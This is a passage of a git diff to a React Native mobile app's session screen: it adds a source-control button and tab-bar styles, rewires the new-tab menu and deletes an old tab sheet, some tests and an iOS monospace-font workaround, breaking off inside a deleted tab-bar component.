+                  label: t('session.sheets.browser', 'Browser'),
+                  icon: Globe,
+                  closeBeforePress: true,
+                  onPress: () => {
+                    if (browserScreencastSupported !== true) {
+                      showToast(
+                        t(
+                          'session.sheets.browserUpdateRequired',
+                          'Desktop update required for mobile browser streaming'
+                        ),
+                        1600
+                      )
+                      return
+                    }
+                    setShowCreateBrowserModal(true)
+                  }
+                },
+                ...(onPairedHost
+                  ? [
+                      {
+                        id: 'markdownNote',
+                        label: t('session.sheets.markdownNote', 'Markdown Note'),
+                        icon: FileText,
+                        onPress: () => {
+                          setShowCreateTabDrawer(false)
+                          void handleCreateMarkdownNote()
+                        }
+                      }
+                    ]
+                  : [])
+              ])
+        ]}
         onClose={() => setShowCreateTabDrawer(false)}
-        onCreateAgent={(agent) => void handleCreateTerminal(agent)}
-        onCreateTerminal={() => void handleCreateTerminal()}
-        onCreateBrowser={() => {
-          if (browserScreencastSupported !== true) {
-            showToast(
-              t(
-                'session.sheets.browserUpdateRequired',
-                'Desktop update required for mobile browser streaming'
-              ),
-              1600
-            )
-            return
-          }
-          setShowCreateBrowserModal(true)
-        }}
-        onCreateMarkdownNote={() => void handleCreateMarkdownNote()}
       />
       <ActionSheetModal
         visible={pendingDiffNotesDelivery !== null}
diff --git a/mobile/src/session/MobileSourceControlButton.tsx b/mobile/src/session/MobileSourceControlButton.tsx
new file mode 100644
index 00000000000..132e05fea14
--- /dev/null
+++ b/mobile/src/session/MobileSourceControlButton.tsx
@@ -0,0 +1,48 @@
+import { GitBranch } from 'lucide-react-native'
+import { NavBarButton } from '../components/nav-bar/NavBarButton'
+import { prStateIcon } from '../components/pr-state-token'
+import { prStateColor } from '../components/WorktreeMetaGlyphs'
+import {
+  HOST_LIST_TARGET,
+  hostWorktreeCatalogQuery,
+  NO_HOST_LIST_INPUT
+} from '../host-screen/host-list-queries'
+import { useMobileTranslation } from '../i18n/use-mobile-translation'
+import { useHostQuery } from '../query/host-query'
+import { useMobileColorScheme } from '../theme/use-mobile-color-scheme'
+import { UNCACHED_LINKED_PR_STATE } from '../../../src/shared/runtime-worktree-contracts'
+
+// Its own component so catalog updates re-render only this button, not the whole session header.
+export function MobileSourceControlButton({
+  hostId,
+  worktreeId,
+  active,
+  onPress
+}: {
+  hostId: string
+  worktreeId: string
+  active: boolean
+  onPress: () => void
+}) {
+  useMobileColorScheme()
+  const t = useMobileTranslation()
+  // Cache-only: the host list reads worktree.ps, and a session's first paint must not wait behind it.
+  const { data } = useHostQuery(
+    hostWorktreeCatalogQuery,
+    { hostId, client: null },
+    HOST_LIST_TARGET,
+    NO_HOST_LIST_INPUT,
+    { enabled: false }
+  )
+  const pr = data?.worktrees.find((row) => row.worktreeId === worktreeId)?.linkedPR ?? null
+  const knownState = pr && pr.state !== UNCACHED_LINKED_PR_STATE ? pr.state : null
+  return (
+    <NavBarButton
+      active={active}
+      accessibilityLabel={t('session.header.openSourceControl', 'Open source control')}
+      icon={pr ? prStateIcon(pr.state) : GitBranch}
+      iconColor={knownState ? prStateColor(knownState) : undefined}
+      onPress={onPress}
+    />
+  )
+}
diff --git a/mobile/src/session/mobile-session-frame-styles.ts b/mobile/src/session/mobile-session-frame-styles.ts
index 352a639e607..524a265cc29 100644
--- a/mobile/src/session/mobile-session-frame-styles.ts
+++ b/mobile/src/session/mobile-session-frame-styles.ts
@@ -58,6 +58,108 @@ export const mobileSessionFrameStyles = themedStyleSheet(() => ({
     color: colors.textSecondary,
     fontSize: typography.metaSize
   },
+  tabBar: {
+    flexDirection: 'row',
+    alignItems: 'center',
+    borderTopWidth: 1,
+    borderTopColor: colors.borderSubtle
+  },
+  // Cancels the top bar's vertical padding so tab borders run the bar's full height.
+  tabBarInTopBar: {
+    flex: 1,
+    minWidth: 0,
+    flexDirection: 'row',
+    alignItems: 'center',
+    alignSelf: 'stretch',
+    marginVertical: -spacing.xs,
+    marginLeft: spacing.md,
+    borderLeftWidth: 1,
+    borderLeftColor: colors.borderSubtle
+  },
+  tabScrollFrame: {
+    flex: 1,
+    minWidth: 0,
+    flexDirection: 'row',
+    alignItems: 'center',
+    alignSelf: 'stretch'
+  },
+  tabEdgeHint: {
+    position: 'absolute',
+    top: 0,
+    bottom: 0,
+    justifyContent: 'center',
+    paddingHorizontal: spacing.xs,
+    backgroundColor: colors.bgPanel
+  },
+  tabEdgeHintLeft: {
+    left: 0,
+    borderRightWidth: 1,
+    borderRightColor: colors.borderSubtle
+  },
+  tabEdgeHintRight: {
+    right: 0,
+    borderLeftWidth: 1,
+    borderLeftColor: colors.borderSubtle
+  },
+  // Opaque like the chrome behind it: see the chat page scroll (#36553).
+  tabScroll: {
+    flex: 1,
+    maxHeight: 44,
+    backgroundColor: colors.bgPanel
+  },
+  tabScrollInTopBar: {
+    alignSelf: 'stretch',
+    maxHeight: 44
+  },
+  tabContent: {
+    paddingLeft: spacing.md,
+    paddingRight: spacing.sm
+  },
+  tabContentInTopBar: {
+    paddingLeft: 0
+  },
+  tab: {
+    minWidth: 44,
+    maxWidth: 128,
+    minHeight: 44,
+    alignItems: 'center',
+    justifyContent: 'center',
+    paddingHorizontal: spacing.sm,
+    paddingVertical: spacing.sm,
+    borderBottomWidth: 2,
+    borderBottomColor: 'transparent',
+    borderRightWidth: 1,
+    borderRightColor: colors.borderSubtle
+  },
+  tabFirst: {
+    borderLeftWidth: 1,
+    borderLeftColor: colors.borderSubtle
+  },
+  tabActive: {
+    borderBottomColor: colors.textSecondary,
+    backgroundColor: colors.bgRaised
+  },
+  tabPressed: {
+    backgroundColor: colors.translucentFill
+  },
+  tabLabelRow: {
+    maxWidth: '100%',
+    flexDirection: 'row',
+    alignItems: 'center',
+    gap: spacing.xs
+  },
+  // Prevent web SVG shrink before the title ellipsizes.
+  tabIcon: {
+    flexShrink: 0
+  },
+  tabText: {
+    flexShrink: 1,
+    color: colors.textSecondary,
+    fontSize: 13
+  },
+  tabTextActive: {
+    color: colors.textPrimary
+  },
   newTerminalButtonPressed: {
     backgroundColor: colors.bgRaised
   },
diff --git a/mobile/src/session/native-chat/composer/mobile-native-chat-file-attachment.test.ts b/mobile/src/session/native-chat/composer/mobile-native-chat-file-attachment.test.ts
deleted file mode 100644
index 6a373e8674f..00000000000
--- a/mobile/src/session/native-chat/composer/mobile-native-chat-file-attachment.test.ts
+++ /dev/null
@@ -1,20 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import { nativeChatTextWithFileReferences } from './mobile-native-chat-file-attachment'
-
-describe('nativeChatTextWithFileReferences', () => {
-  it('references each stored file on a line after the text', () => {
-    expect(
-      nativeChatTextWithFileReferences('Review these  ', [
-        { path: '/store/1/spec.pdf' },
-        { path: '/store/2/my notes.md' }
-      ])
-    ).toBe('Review these\n@/store/1/spec.pdf @"/store/2/my notes.md"')
-  })
-
-  it('sends the references alone when there is no text, and the text alone with no files', () => {
-    expect(nativeChatTextWithFileReferences('  ', [{ path: '/store/1/spec.pdf' }])).toBe(
-      '@/store/1/spec.pdf'
-    )
-    expect(nativeChatTextWithFileReferences('hi', [])).toBe('hi')
-  })
-})
diff --git a/mobile/src/session/native-chat/composer/use-mobile-native-chat-send-error.test.ts b/mobile/src/session/native-chat/composer/use-mobile-native-chat-send-error.test.ts
index 825c6960288..77871ebd73d 100644
--- a/mobile/src/session/native-chat/composer/use-mobile-native-chat-send-error.test.ts
+++ b/mobile/src/session/native-chat/composer/use-mobile-native-chat-send-error.test.ts
@@ -76,18 +76,6 @@ describe('useMobileNativeChatSendError', () => {
     expect(api().message).toBeNull()
   })
 
-  it('a refusal behind a question goes once it is answered', async () => {
-    await render()
-    await showing({ working: false, prompt: true })
-    await act(async () =>
-      api().show("Answer the agent's question or approval, then run /clear.", {
-        refusedWhile: 'prompt'
-      })
-    )
-    await showing({ working: false, prompt: false })
-    expect(api().message).toBeNull()
-  })
-
   it('a failure naming nothing the phone shows, or background tasks it cannot see, stays', async () => {
     await render()
     await act(async () => api().show('Message not sent'))
@@ -115,16 +103,6 @@ describe('useMobileNativeChatSendError', () => {
     expect(api().message).toBeNull()
   })
 
-  it('falls back to the toast when the banner is not mounted', async () => {
-    await act(async () => {
-      renderer = create(createElement(Harness, { scopeKey: 'terminal-1', bannerMounted: false }))
-    })
-    await act(async () => api().show('Delivery unconfirmed'))
-
-    expect(showToast).toHaveBeenCalledWith('Delivery unconfirmed', 1600)
-    expect(api().message).toBeNull()
-  })
-
   it('toasts a deferred failure that resolves after the user switched tabs', async () => {
     await render('terminal-1')
     const showFromTabA = api().show
diff --git a/mobile/src/session/native-chat/input/MobileNativeChatOptionPreviewSheet.tsx b/mobile/src/session/native-chat/input/MobileNativeChatOptionPreviewSheet.tsx
index 3328570d533..650882bf8a0 100644
--- a/mobile/src/session/native-chat/input/MobileNativeChatOptionPreviewSheet.tsx
+++ b/mobile/src/session/native-chat/input/MobileNativeChatOptionPreviewSheet.tsx
@@ -8,7 +8,6 @@ import { useMobileTranslation } from '../../../i18n/use-mobile-translation'
 import { colors, radii, spacing, typography, pressedStyle } from '../../../theme/mobile-theme'
 import { themedStyleSheet } from '../../../theme/themed-styles'
 import { useMobileColorScheme } from '../../../theme/use-mobile-color-scheme'
-import { optionPreviewFont } from './mobile-native-chat-option-preview'
 
 const sheetKey = () => 'option-preview'
 
@@ -117,7 +116,7 @@ const styles = themedStyleSheet(() => ({
   text: {
     padding: spacing.md,
     color: colors.textPrimary,
-    fontFamily: optionPreviewFont,
+    fontFamily: typography.monoFamily,
     fontSize: typography.bodySize,
     lineHeight: typography.bodySize * 1.5
   },
diff --git a/mobile/src/session/native-chat/input/MobileNativeChatOptionThumbnail.tsx b/mobile/src/session/native-chat/input/MobileNativeChatOptionThumbnail.tsx
index 1399a26db65..06b78c62389 100644
--- a/mobile/src/session/native-chat/input/MobileNativeChatOptionThumbnail.tsx
+++ b/mobile/src/session/native-chat/input/MobileNativeChatOptionThumbnail.tsx
@@ -5,7 +5,6 @@ import { useMobileTranslation } from '../../../i18n/use-mobile-translation'
 import { colors, radii, spacing, typography, pressedStyle } from '../../../theme/mobile-theme'
 import { themedStyleSheet } from '../../../theme/themed-styles'
 import { useMobileColorScheme } from '../../../theme/use-mobile-color-scheme'
-import { optionPreviewFont } from './mobile-native-chat-option-preview'
 
 const MAX_HEIGHT = 96 - spacing.sm * 2
 
@@ -96,7 +95,7 @@ const styles = themedStyleSheet(() => ({
     top: 0,
     left: 0,
     transformOrigin: 'top left',
-    fontFamily: optionPreviewFont,
+    fontFamily: typography.monoFamily,
     fontSize: typography.metaSize,
     lineHeight: typography.metaSize * 1.25,
     color: colors.textPrimary,
diff --git a/mobile/src/session/native-chat/input/mobile-native-chat-option-preview.ts b/mobile/src/session/native-chat/input/mobile-native-chat-option-preview.ts
deleted file mode 100644
index e39b7d52635..00000000000
--- a/mobile/src/session/native-chat/input/mobile-native-chat-option-preview.ts
+++ /dev/null
@@ -1,7 +0,0 @@
-import { Platform } from 'react-native'
-import { typography } from '../../../theme/mobile-theme'
-
-export const optionPreviewFont = Platform.select({
-  ios: 'Menlo',
-  default: typography.monoFamily
-})
diff --git a/mobile/src/session/native-chat/input/use-mobile-structured-agent-options.test.ts b/mobile/src/session/native-chat/input/use-mobile-structured-agent-options.test.ts
index 7c813e1409e..df00001b2a9 100644
--- a/mobile/src/session/native-chat/input/use-mobile-structured-agent-options.test.ts
+++ b/mobile/src/session/native-chat/input/use-mobile-structured-agent-options.test.ts
@@ -342,33 +342,6 @@ it('phone captures accepted echoed inputs, preserves false, and freezes empty vs
   await harness.unmount()
 })
 
-it('accepts a typed literal at an attached fence while options refresh with no menu', async () => {
-  const pending = deferred<AgentSessionOptionsResult>()
-  let reads = 0
-  const client = optionsClient(() =>
-    ++reads === 1 ? Promise.resolve({ models: [], current: {} }) : pending.promise
-  )
-  const { calls, mutate } = recordingMutate(async () =>
-    accepted({ key: 'model', value: 'literal', options: { model: 'literal' } }, true)
-  )
-  const view = await mountOptions({ ...BASE, client: client.client, mutate })
-  await view.rerender({ fence: 2 })
-  let result = true
-  await act(async () => {
-    result = await view.current().setStructuredOption('model', 'literal')
-  })
-  expect(result).toBe(true)
-  expect(calls).toHaveLength(1)
-  await act(async () => pending.resolve({ models: [], current: {} }))
-  await settle()
-  await act(async () => {
-    result = await view.current().setStructuredOption('model', 'literal')
-  })
-  expect(result).toBe(true)
-  expect(calls).toHaveLength(2)
-  await view.unmount()
-})
-
 it('refreshes saved planning intent from the same host status stamp without remounting', async () => {
   let interactionMode: 'default' | 'plan' = 'default'
   const client = optionsClient(async () => ({
diff --git a/mobile/src/session/native-chat/transcript/mobile-native-chat-stream-frame.test.ts b/mobile/src/session/native-chat/transcript/mobile-native-chat-stream-frame.test.ts
index 59938201fe1..4059ee91773 100644
--- a/mobile/src/session/native-chat/transcript/mobile-native-chat-stream-frame.test.ts
+++ b/mobile/src/session/native-chat/transcript/mobile-native-chat-stream-frame.test.ts
@@ -38,25 +38,4 @@ describe('applyMobileNativeChatStreamFrame', () => {
       windowReplaced: true
     })
   })
-
-  it('replaces retained history when replay metadata says no earlier rows remain', () => {
-    const merger = createNativeChatMerger()
-    replaceList(merger, ['removed-1', 'removed-2', 'a', 'b'].map(message))
-
-    const replay = [message('a'), message('b')]
-    expect(
-      applyMobileNativeChatStreamFrame({
-        merger,
-        frame: { type: 'snapshot', messages: replay, hasMore: false, beforeOffset: 0 },
-        limit: 100,
-        replaceSnapshot: false
-      })
-    ).toEqual({
-      kind: 'messages',
-      messages: replay,
-      hasMore: false,
-      beforeOffset: 0,
-      windowReplaced: true
-    })
-  })
 })
diff --git a/mobile/src/session/native-chat/transcript/mobile-native-chat-tool-styles.ts b/mobile/src/session/native-chat/transcript/mobile-native-chat-tool-styles.ts
index 68be83a6c66..92f2b113d27 100644
--- a/mobile/src/session/native-chat/transcript/mobile-native-chat-tool-styles.ts
+++ b/mobile/src/session/native-chat/transcript/mobile-native-chat-tool-styles.ts
@@ -1,4 +1,4 @@
-import { Platform, StyleSheet } from 'react-native'
+import { StyleSheet } from 'react-native'
 import { colors, radii, spacing, typography } from '../../../theme/mobile-theme'
 import { MONO_SIZE, scaledType } from './mobile-native-chat-message-styles'
 import { themedStyleSheet } from '../../../theme/themed-styles'
@@ -11,9 +11,6 @@ export function toolType(fontScale: number) {
   }
 }
 
-// iOS has no font named `monospace`; it silently falls back to the proportional system face.
-const MONO_FAMILY = Platform.OS === 'ios' ? 'Menlo' : typography.monoFamily
-
 export const toolStyles = themedStyleSheet(() => ({
   run: {
     marginTop: spacing.xs
@@ -111,7 +108,7 @@ export const toolStyles = themedStyleSheet(() => ({
   },
   codeText: {
     color: colors.textPrimary,
-    fontFamily: MONO_FAMILY
+    fontFamily: typography.monoFamily
   },
   searchResults: {
     gap: 2
diff --git a/mobile/src/session/tabs/MobileNewTabSheet.tsx b/mobile/src/session/tabs/MobileNewTabSheet.tsx
deleted file mode 100644
index 0f7730ddd75..00000000000
--- a/mobile/src/session/tabs/MobileNewTabSheet.tsx
+++ /dev/null
@@ -1,183 +0,0 @@
-import { useRef } from 'react'
-import { Pressable, Text, View } from 'react-native'
-import { FileText, Globe, SquareTerminal } from 'lucide-react-native'
-import type { TuiAgent } from '../../../../src/shared/agent-launch/catalog/tui-agent'
-import { ActionSheetContent, type ActionSheetAction } from '../../components/ActionSheetModal'
-import { BottomDrawer } from '../../components/bottom-drawer/BottomDrawer'
-import {
-  LIST_LEADING_INSET,
-  ListGroup,
-  ListRow,
-  SectionHeader
-} from '../../components/list/ListGroup'
-import { MobileAgentIcon } from '../../components/MobileAgentIcon'
-import { SheetHeader } from '../../components/nav-bar/SheetHeader'
-import { useMobileTranslation } from '../../i18n/use-mobile-translation'
-import { colors, radii, spacing } from '../../theme/mobile-theme'
-import { themedStyleSheet } from '../../theme/themed-styles'
-import { useMobileColorScheme } from '../../theme/use-mobile-color-scheme'
-import type { MobileNewTabAgentOption } from '../agent-launch/mobile-new-tab-agent-options'
-
-const AGENT_GRID_COLUMNS = 3
-
-type Props = {
-  visible: boolean
-  workspaceName: string
-  agentOptions: readonly MobileNewTabAgentOption[]
-  /** Loading, none, other-server or error; shown instead of the agent grid. */
-  agentStatusRow: ActionSheetAction | null
-  canCreateBrowser: boolean
-  canCreateMarkdownNote: boolean
-  onClose: () => void
-  onCreateAgent: (agent: TuiAgent) => void
-  onCreateTerminal: () => void
-  /** Runs after the sheet has gone, so it may open another modal. */
-  onCreateBrowser: () => void
-  onCreateMarkdownNote: () => void
-}
-
-export function MobileNewTabSheet({
-  visible,
-  workspaceName,
-  agentOptions,
-  agentStatusRow,
-  canCreateBrowser,
-  canCreateMarkdownNote,
-  onClose,
-  onCreateAgent,
-  onCreateTerminal,
-  onCreateBrowser,
-  onCreateMarkdownNote
-}: Props) {
-  useMobileColorScheme()
-  const t = useMobileTranslation()
-  // Wait for the iOS sheet window to unmount before presenting another native modal.
-  const afterCloseRef = useRef<(() => void) | null>(null)
-  const closeThen = (action: () => void) => {
-    afterCloseRef.current = action
-    onClose()
-  }
-  const closeAndRun = (action: () => void) => {
-    onClose()
-    action()
-  }
-  const showAgentGrid = agentStatusRow === null && agentOptions.length > 0
-  // Short last rows keep empty slots so every tile stays a third of the row wide.
-  const agentRows: { options: MobileNewTabAgentOption[]; emptySlots: string[] }[] = []
-  for (let start = 0; start < agentOptions.length; start += AGENT_GRID_COLUMNS) {
-    const options = agentOptions.slice(start, start + AGENT_GRID_COLUMNS)
-    const emptySlots: string[] = []
-    for (let column = options.length; column < AGENT_GRID_COLUMNS; column += 1) {
-      emptySlots.push(`empty:${column}`)
-    }
-    agentRows.push({ options, emptySlots })
-  }
-  const iconColor = colors.textSecondary
-  return (
-    <BottomDrawer
-      visible={visible}
-      onClose={onClose}
-      onAfterClose={() => {
-        const run = afterCloseRef.current
-        afterCloseRef.current = null
-        run?.()
-      }}
-      dragContentToDismiss
-    >
-      <SheetHeader
-        title={t('session.sheets.newTab', 'New Tab')}
-        {...(workspaceName ? { subtitle: workspaceName } : {})}
-        onClose={onClose}
-      />
-      {showAgentGrid || agentStatusRow ? (
-        <SectionHeader title={t('session.sheets.agents', 'Agents')} first />
-      ) : null}
-      {agentStatusRow ? <ActionSheetContent actions={[agentStatusRow]} /> : null}
-      {showAgentGrid ? (
-        <View style={styles.grid}>
-          {agentRows.map((row) => (
-            <View key={row.options.map((option) => option.agent).join(':')} style={styles.gridRow}>
-              {row.options.map((option) => (
-                <Pressable
-                  key={option.agent}
-                  onPress={() => closeAndRun(() => onCreateAgent(option.agent))}
-                  accessibilityRole="button"
-                  accessibilityLabel={option.label}
-                  style={styles.tile}
-                >
-                  {({ pressed }) => (
-                    <>
-                      {pressed ? <View style={styles.tilePressed} /> : null}
-                      <MobileAgentIcon agentId={option.agent} size={22} />
-                      <Text style={styles.tileLabel} numberOfLines={1}>
-                        {option.label}
-                      </Text>
-                    </>
-                  )}
-                </Pressable>
-              ))}
-              {row.emptySlots.map((slot) => (
-                <View key={slot} style={styles.tileSpacer} />
-              ))}
-            </View>
-          ))}
-        </View>
-      ) : null}
-      <ListGroup separatorInset={LIST_LEADING_INSET} style={styles.actions}>
-        <ListRow
-          key="terminal"
-          title={t('session.sheets.terminal', 'Terminal')}
-          leading={<SquareTerminal size={16} color={iconColor} />}
-          onPress={() => closeAndRun(onCreateTerminal)}
-        />
-        {canCreateBrowser ? (
-          <ListRow
-            key="browser"
-            title={t('session.sheets.browser', 'Browser')}
-            leading={<Globe size={16} color={iconColor} />}
-            navigates
-            onPress={() => closeThen(onCreateBrowser)}
-          />
-        ) : null}
-        {canCreateMarkdownNote ? (
-          <ListRow
-            key="markdownNote"
-            title={t('session.sheets.markdownNote', 'Markdown Note')}
-            leading={<FileText size={16} color={iconColor} />}
-            onPress={() => closeAndRun(onCreateMarkdownNote)}
-          />
-        ) : null}
-      </ListGroup>
-    </BottomDrawer>
-  )
-}
-
-const styles = themedStyleSheet(() => ({
-  grid: { gap: spacing.sm },
-  gridRow: { flexDirection: 'row', gap: spacing.sm },
-  tile: {
-    flex: 1,
-    minWidth: 0,
-    height: 78,
-    borderRadius: radii.surface,
-    backgroundColor: colors.sheetGroup,
-    overflow: 'hidden',
-    alignItems: 'center',
-    justifyContent: 'center',
-    gap: spacing.sm,
-    paddingHorizontal: spacing.sm
-  },
-  // Same wash as a pressed ListRow, laid over the tile so its own fill stays underneath.
-  tilePressed: {
-    position: 'absolute',
-    top: 0,
-    right: 0,
-    bottom: 0,
-    left: 0,
-    backgroundColor: colors.translucentFill
-  },
-  tileLabel: { fontSize: 13.5, fontWeight: '600', color: colors.textPrimary, maxWidth: '100%' },
-  // Padded like a tile: flex shares space after padding, so a bare spacer would widen its row's tiles.
-  tileSpacer: { flex: 1, paddingHorizontal: spacing.sm },
-  actions: { marginTop: spacing.lg }
-}))
diff --git a/mobile/src/session/tabs/MobileSessionTabBar.tsx b/mobile/src/session/tabs/MobileSessionTabBar.tsx
deleted file mode 100644
index a9aeb494c8e..00000000000
--- a/mobile/src/session/tabs/MobileSessionTabBar.tsx
+++ /dev/null
@@ -1,361 +0,0 @@
-import { useMemo, useRef, useState } from 'react'
-import { Pressable, Text, View } from 'react-native'
-import { Plus } from 'lucide-react-native'
-import { Gesture, GestureDetector } from 'react-native-gesture-handler'
-import Animated, {
-  Easing,
-  ReduceMotion,
-  useAnimatedStyle,
-  useSharedValue,
-  withSequence,
-  withTiming
-} from 'react-native-reanimated'
-import { triggerMediumImpact, triggerSelection } from '../../platform/haptics'
-import { useMobileTranslation } from '../../i18n/use-mobile-translation'
-import { AgentStateDot } from '../../components/AgentStateDot'
-import { ArrivalFade } from '../../components/ArrivalFade'
-import { useDrawerReducedMotion } from '../../components/bottom-drawer/bottom-drawer-constants'
-import { SHEET_CURVE } from '../../components/sheet-motion-values'
-import { useReducedMotionEnabled } from '../../platform/use-reduced-motion'
-import { useKeyboardPersistingTaps } from '../../platform/keyboard-persisting-taps'
-import { useNow } from '../../hooks/use-now'
-import { agentStateLabel, type AgentDotState } from '../../worktree/agent-row-display'
-import { colors, feedback, radii, spacing } from '../../theme/mobile-theme'
-import { themedStyleSheet } from '../../theme/themed-styles'
-import { useMobileColorScheme } from '../../theme/use-mobile-color-scheme'
-import { buildMobileSessionTabRow, type MobileSessionTabRow } from './mobile-session-tab-rows'
-import { MobileSessionTabMark } from './MobileSessionTabMark'
-import { MobileSessionTabsSheet } from './MobileSessionTabsSheet'
-import type { MobileSessionController } from '../use-mobile-session-controller'
-
-const SWIPE_SETTLE_MS = 250
-// A tab arriving from the side starts this far out, as a share of the tab cell's width.
-const SWIPE_ENTRY_SHARE = 0.4
-const FLICK_VELOCITY = 600
-// With no tab on that side, the tab gives only this share of the drag.
-const EDGE_RESISTANCE = 0.25
-const DRAG_CLICK_WINDOW_MS = 400
-
-// A tab drawn before it had any agent state (from the phone's store) fades its dot in when one lands.
-function TabBarDot({ tabId, state }: { tabId: string; state: AgentDotState | undefined }) {
-  const [startedEmpty] = useState({ tabId, empty: state === undefined })
-  if (startedEmpty.tabId === tabId && startedEmpty.empty) {
-    return <ArrivingTabBarDot state={state} />
-  }
-  return state && state !== 'idle' ? <AgentStateDot state={state} /> : null
-}
-
-// Mounted with the bare tab, so the motion preference is read before the dot arrives.
-function ArrivingTabBarDot({ state }: { state: AgentDotState | undefined }) {
-  const reducedMotion = useReducedMotionEnabled()
-  if (!state || state === 'idle') {
-    return null
-  }
-  return (
-    <ArrivalFade animate={reducedMotion === false}>
-      <AgentStateDot state={state} />
-    </ArrivalFade>
-  )
-}
-
-/** The tab you're in as one cell: tap for its actions, swipe for the next one; the count shows every tab, + adds one. */
-export function MobileSessionTabBar({
-  controller,
-  inTopBar,
-  actionsCollapsed = false
-}: {
-  controller: MobileSessionController
-  inTopBar: boolean
-  actionsCollapsed?: boolean
-}) {
-  useMobileColorScheme()
-  const t = useMobileTranslation()
-  const {
-    activeSessionTabId,
-    connState,
-    createTabBusy,
-    handleOpenNewTab,
-    switchSessionTab,
-    openSessionTabActionSheetAfterKeyboardDismiss,
-    visibleTabs,
-    terminals
-  } = controller
-  // Why: the first tap must reach the bar with the keyboard open instead of only dismissing it (#5106).
-  const keepsKeyboard = useKeyboardPersistingTaps('handled')
-  const now = useNow(60_000)
-  const rows = useMemo(
-    () => visibleTabs.map((tab) => buildMobileSessionTabRow(tab, terminals, now)),
-    [visibleTabs, terminals, now]
-  )
-  const activeIndex = rows.findIndex((row) => row.tab.id === activeSessionTabId)
-  const active: MobileSessionTabRow | undefined = rows[activeIndex]
-  const previous = activeIndex > 0 ? rows[activeIndex - 1] : undefined
-  const next = activeIndex !== -1 ? rows[activeIndex + 1] : undefined
-  const othersNeedYou = rows.some(
-    (row) => row.tab.id !== activeSessionTabId && row.group === 'needs-you'
-  )
-  const [sheetOpen, setSheetOpen] = useState(false)
-
-  const reducedMotion = useDrawerReducedMotion()
-  const offset = useSharedValue(0)
-  const width = useSharedValue(0)
-  // On the web, releasing a mouse drag also clicks the tab.
-  const dragEndedAtRef = useRef(0)
-  const settle = (to: number) =>
-    withTiming(
-      to,
-      reducedMotion
-        ? { duration: 0, reduceMotion: ReduceMotion.Never }
-        : { duration: SWIPE_SETTLE_MS, easing: Easing.bezier(...SHEET_CURVE) }
-    )
-  const step = (target: MobileSessionTabRow | undefined, direction: 1 | -1) => {
-    if (!target) {
-      offset.value = settle(0)
-      return
-    }
-    triggerSelection()
-    switchSessionTab(target.tab)
-    offset.value = withSequence(
-      withTiming(-direction * width.value * SWIPE_ENTRY_SHARE, { duration: 0 }),
-      settle(0)
-    )
-  }
-  // Callbacks run on JS: the session page is a web document, and stepping switches React state.
-  const pan = Gesture.Pan()
-    .runOnJS(true)
-    .enabled(rows.length > 1)
-    .activeOffsetX([-12, 12])
-    .failOffsetY([-10, 10])
-    .onUpdate((event) => {
-      const target = event.translationX > 0 ? previous : next
-      offset.value = target ? event.translationX : event.translationX * EDGE_RESISTANCE
-    })
-    .onEnd((event) => {
-      // oxlint-disable-next-line react/purity -- runs when the drag ends, never during render.
-      dragEndedAtRef.current = Date.now()
-      const direction = event.translationX > 0 ? 1 : -1
-      const flicked =
-        Math.abs(event.velocityX) > FLICK_VELOCITY && Math.sign(event.velocityX) === direction
-      if (Math.abs(event.translationX) > width.value / 2 || flicked) {
-        step(direction === 1 ? previous : next, direction)
-        return
-      }
-      offset.value = settle(0)
-    })
-  // Web has no worklet plugin; mapper hooks need this explicit dependency list.
-  const contentStyle = useAnimatedStyle(
-    () => ({
-      transform: [{ translateX: offset.value }],
-      opacity: 1 - Math.min(Math.abs(offset.value) / Math.max(width.value, 1), 1) * 0.6
-    }),
-    [offset, width]
-  )
-
-  const status = active?.dotState && active.dotState !== 'idle' ? active.dotState : undefined
-  const countLabel =
-    rows.length === 1
-      ? t('session.tabBar.oneTab', '1 tab')
-      : t('session.tabBar.tabCount', '{{count}} tabs', { count: rows.length })
-  const tabLabel = [active?.title, status ? agentStateLabel(status) : null]
-    .filter(Boolean)
-    .join(', ')
-  const countAccessibilityLabel = [
-    countLabel,
-    othersNeedYou ? t('session.tabBar.anotherNeedsYou', 'another tab needs you') : null
-  ]
-    .filter(Boolean)
-    .join(', ')
-  const createDisabled = createTabBusy || connState !== 'connected'
-  const openTabActions = () => {
-    // The click a drag release produces on the web belongs to the drag.
-    if (!active || Date.now() - dragEndedAtRef.current < DRAG_CLICK_WINDOW_MS) {
-      return
-    }
-    openSessionTabActionSheetAfterKeyboardDismiss(active.tab)
-  }
-
-  return (
-    <View ref={keepsKeyboard} style={inTopBar ? styles.barInTopBar : styles.bar}>
-      {/* pan-y keeps vertical touches with the page on the web. */}
-      <GestureDetector gesture={pan} touchAction="pan-y">
-        <View
-          style={styles.tabCell}
-          onLayout={(event) => {
-            width.value = event.nativeEvent.layout.width
-          }}
-        >
-          <Pressable
-            style={({ pressed }) => [styles.tabPress, pressed && styles.cellPressed]}
-            onPress={openTabActions}
-            onLongPress={() => {
-              triggerMediumImpact()
-              openTabActions()
-            }}
-            delayLongPress={400}
-            disabled={!active}
-            accessibilityRole="button"
-            accessibilityLabel={tabLabel || countLabel}
-            accessibilityHint={t('session.tabBar.actionsHint', 'Shows actions for this tab')}
-            accessibilityActions={[
-              ...(next ? [{ name: 'nextTab', label: t('session.tabBar.next', 'Next tab') }] : []),
-              ...(previous
-                ? [{ name: 'previousTab', label: t('session.tabBar.previous', 'Previous tab') }]
-                : [])
-            ]}
-            onAccessibilityAction={(event) => {
-              const name = event.nativeEvent.actionName
-              if (name === 'nextTab') {
-                step(next, -1)
-              } else if (name === 'previousTab') {
-                step(previous, 1)
-              }
-            }}
-          >
-            {/* Only the contents slide, so the cell stays flush with the screen edge. */}
-            <Animated.View style={[styles.tabContent, contentStyle]}>
-              {active ? (
-                <>
-                  <TabBarDot tabId={active.tab.id} state={active.dotState} />
-                  <View style={styles.mark}>
-                    <MobileSessionTabMark row={active} size={14} />
-                  </View>
-                </>
-              ) : null}
-              <Text style={styles.title} numberOfLines={1}>
-                {active?.title ?? countLabel}
-              </Text>
-            </Animated.View>
-          </Pressable>
-        </View>
-      </GestureDetector>
-      <Pressable
-        style={({ pressed }) => [
-          styles.sideCell,
-          actionsCollapsed && !inTopBar && styles.lastCell,
-          pressed && styles.cellPressed
-        ]}
-        onPress={() => setSheetOpen(true)}
-        accessibilityRole="button"
-        accessibilityLabel={countAccessibilityLabel}
-        accessibilityHint={t('session.tabBar.hint', 'Shows all tabs')}
-      >
-        <View style={styles.countBox}>
-          <Text style={styles.countText}>{rows.length}</Text>
-        </View>
-        {othersNeedYou ? <View style={styles.alert} /> : null}
-      </Pressable>
-      {/* A collapsed bar's + lives in the header's ⋯ menu. */}
-      {!actionsCollapsed ? (
-        <Pressable
